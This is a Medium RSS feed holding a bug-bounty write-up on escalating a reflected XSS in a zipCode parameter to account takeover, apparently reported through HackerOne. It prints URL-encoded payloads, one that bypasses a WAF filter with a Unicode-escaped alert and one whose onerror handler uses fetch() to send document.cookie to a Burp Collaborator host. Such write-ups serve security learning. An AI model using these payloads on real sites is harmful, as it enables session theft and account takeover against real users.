<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mahan Xp on Medium]]></title>
        <description><![CDATA[Stories by Mahan Xp on Medium]]></description>
        <link>https://medium.com/@MahanXp?source=rss-9de0c797688b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*stIrZoR3o1is_b2D3Xh99g.jpeg</url>
            <title>Stories by Mahan Xp on Medium</title>
            <link>https://medium.com/@MahanXp?source=rss-9de0c797688b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 03 Jun 2026 18:22:56 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@MahanXp/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[ATO via r-XSS in Public Program]]></title>
            <link>https://medium.com/@MahanXp/ato-via-r-xss-in-public-program-fbe653896ed4?source=rss-9de0c797688b------2</link>
            <guid isPermaLink="false">https://medium.com/p/fbe653896ed4</guid>
            <category><![CDATA[account-takeover]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[xss-bypass]]></category>
            <category><![CDATA[xss-attack]]></category>
            <dc:creator><![CDATA[Mahan Xp]]></dc:creator>
            <pubDate>Mon, 10 Feb 2025 17:55:21 GMT</pubDate>
            <atom:updated>2025-03-09T21:01:36.236Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey everyone, it’s Mahan and it’s my first writeup. In this writeup, I’ll explain how I recently escalated an r-XSS vulnerability to simple Account Takeover.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RoSbo8pP70s5ZKSTeNKulw.jpeg" /></figure><h3>First Part — Find r-XSS</h3><p>I worked on a public program on Hacker1 and decided to focus on a subdomain. I chose a subdomain and started working on it..</p><p>I wanted to find all the directories of the site, so I did it using JavaScript code. This code crawled the entire site for me..</p><p>after use JavaScript code I found the <strong>/id</strong> path in Website:</p><pre>subdomain.target.tld/id</pre><p>Then, as usual, I crawled parameters using tools like GAP and fAllParam and checked them. I also used the x8 tool and found a reflected parameter. I discovered the zipCode parameter and tested it on the website:</p><pre>subdomain.target.tld/id?zipCode=aurora</pre><p>After that, I saw <strong>aurora </strong>in the source code, and it was reflected. I then tried injecting JavaScript code to a pop-up alert.…</p><h3>Second Part — Pop-Up alert</h3><p>After that, I noticed the reflection and tried injecting JavaScript code for a pop-up alert. However, certain tags and words like &lt;script&gt;, &lt;iframe&gt;, &lt;svg&gt;, etc., were filtered. So, I decided to bypass the restriction. I tested my test cases for bypassing reflected XSS (r-XSS) and used URL encoding along with the &lt;img&gt; tag to trigger a pop-up alert. You can see the bypass below.:</p><pre>subdomain.target.tld/id?zipCode=aurora%27%23%22%3C/html%3E%22%3E--%3E%3Cimg%20src%3Dx%20onerror%3D%22alert(origin)%22%3E</pre><p>I used that payload, but the WAF caught me… 😂 I noticed that alert was also filtered, so I used Unicode in onerror instead.</p><pre>aurora%27%23%22%3C/html%3E%22%3E--%3E%3Cimg%20src%3Dx%20onerror%3D%22%5Cu0061lert(origin)%22%3E</pre><p>BOOOOOM We have r-XSS right now and my payload was inject and bypass alert with Unicode : <strong>\0061lert() = alert()</strong></p><h3>Third Part — Account Takeover</h3><p>Getting an XSS was great, but it wasn’t enough for me — I wanted an Account Takeover (ATO). Escalating the impact was my next goal. To achieve that, I needed to steal authenticated cookies, replace them with my own, and log in as the victim.</p><p>So, what was the plan? Simple:</p><ol><li>Write a payload to exfiltrate the victim’s session.</li><li>Package it into a working Proof of Concept (PoC).</li><li>Deliver it to the target.</li><li>Profit.</li></ol><p>I wrote the exploit, set up a listener on my Burp Collabration, and tested the exploit on myself. It worked perfectly. I had successfully escalated the XSS to an Account Takeover (ATO). With the exploit functioning as expected, I crafted a detailed report, attached all the proof of concepts (POCs), and submitted it.</p><p>My payload for exploit:</p><pre>subdomain.target.tld/id?zipCode=aurora%27%23%22%3C/html%3E%3Cimg%20src%3Dx+encodeURIComponent(document.cookie)%20onerror%3D%22fetch(%27https://[BURP-COLLAB-ID]/%27%2bencodeURIComponent(document.cookie))%22%3E</pre><p>You may ask why did you use encodeURIComponent()?</p><p>in JavaScript is used to <strong>encode a URI component</strong> by replacing special characters with their <strong>percent-encoded equivalents</strong>. This ensures that the component can be safely included in a URL, And I did this to receive cookies better 🙂</p><p>You send the payload to the victim, and when the victim clicks on the link, their cookies will be sent to you, as shown in the picture:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WT9OnlRgQewZKJ6YSURPqg.png" /></figure><p>Sorry, I can’t show the continuation of the cookies, but it’s like this, right now I have victim cookie’s and full ATO:)</p><p>So I reported the bug in <a href="https://hackerone.com/">Hacker1</a> and I think after 3 hours my bug triaged.</p><p>Thank you for reading my writeup and I hope you enjoyed it.</p><p>If you like you can follow me on X (maybe twitter😂): <a href="https://x.com/_0xaurora"><strong>Mahan</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fbe653896ed4" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>